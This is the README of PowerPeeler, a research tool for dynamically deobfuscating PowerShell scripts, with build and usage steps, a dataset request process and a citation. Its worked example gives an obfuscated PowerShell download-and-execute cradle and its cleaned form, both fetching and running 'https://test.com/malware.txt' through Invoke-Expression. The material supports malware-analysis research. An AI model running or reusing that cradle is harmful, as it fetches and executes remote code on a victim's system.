PowerPeeler

A Precise and General Dynamic Deobfuscation Method for PowerShell Scripts

中文版

Related resources

• conference paper: in coming
• full paper: arxiv

Usage

1. Build environment requirement

   • base environment: refer to PowerShell official build instruction
   • .net core 7.0.101
   • pwsh/powershell

2. Runtime environment

   • PSScriptAnalyzer(optional, for code formatting)
   • Invoke-Deobfuscation(optional, static and dynamic combination)

3. Get the tool

   git clone https://github.com/zhengbili/PowerPeeler

   Or

   git clone https://gitee.com/snowroll/powerpeeler

4. Compile sandbox

   cd PowerPeeler
   pwsh ./build.ps1

5. Tool usage

   1. Change the directory to prevent some malicious scripts from polluting the current directory: cd sandbox
   2. Enter special pwsh environments: ../pwsh
   3. Execute anti-obfuscation scripts in the special pwsh environment

   ../Deobfuscation/deob.ps1 --SettingType [Simple|Analysis|SemanticAnalysis]  --InputPath InputFileLocation --OutputPath OutputFileLocation [-cmd] [-log]

   ​ -st --SettingType deobfuscation mode, with several presets, the code can be modified yourself ​ -ip --InputPath input file location ​ -op --OutputPath output file location ​ -cmd --IsCmd cmd one-line mode ​ -log --SaveLog save log

Example

../pwsh ../Deobfuscation/deob.ps1 -ip in.ps1 -op out.ps1

• in.ps1

  Ie`X ("{2}{0}{1}" -f 'ost h', 'ello', 'write-h')
  $xdjmd  =   'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG'
  $lsffs =   '8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA='
  $sdfs = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($xdjmd + $lsffs))
  .($psHoME[4]+$PShOmE[30]+'x') (Ne`W-oB`JeCt Net.Web`C`lient).downloadstring($sdfs)

• out.ps1

  Write-Host ([string]'hello')
  $xdjmd = ([string]'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG')
  $lsffs = ([string]'8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA=')
  $sdfs = ([string]'https://test.com/malware.txt')
  .'Invoke-Expression' (New-Object ([string]'Net.WebClient')).DownloadString(([string]'https://test.com/malware.txt'))
  

DataSet Request

If you want the datasets (D-Script and D-Cmdline), please send me an email. My email address is chaihuajun@qianxin.com. There are some requirements for the email as follows.

• You need to send me an email with a copy to both my mentor yinglingyun@qianxin.com and your mentor.
• In the body of the email, you need to state the purpose of the dataset request and the use of the dataset.
• Moreover, you need to clearly indicate that the results generated by the dataset will cite our paper.

Citation format

@misc{li2024powerpeelerprecisegeneraldynamic,
      title={PowerPeeler: A Precise and General Dynamic Deobfuscation Method for PowerShell Scripts}, 
      author={Ruijie Li and Chenyang Zhang and Huajun Chai and Lingyun Ying and Haixin Duan and Jun Tao},
      year={2024},
      eprint={2406.04027},
      archivePrefix={arXiv},
      primaryClass={cs.CR},
      url={https://arxiv.org/abs/2406.04027}, 
}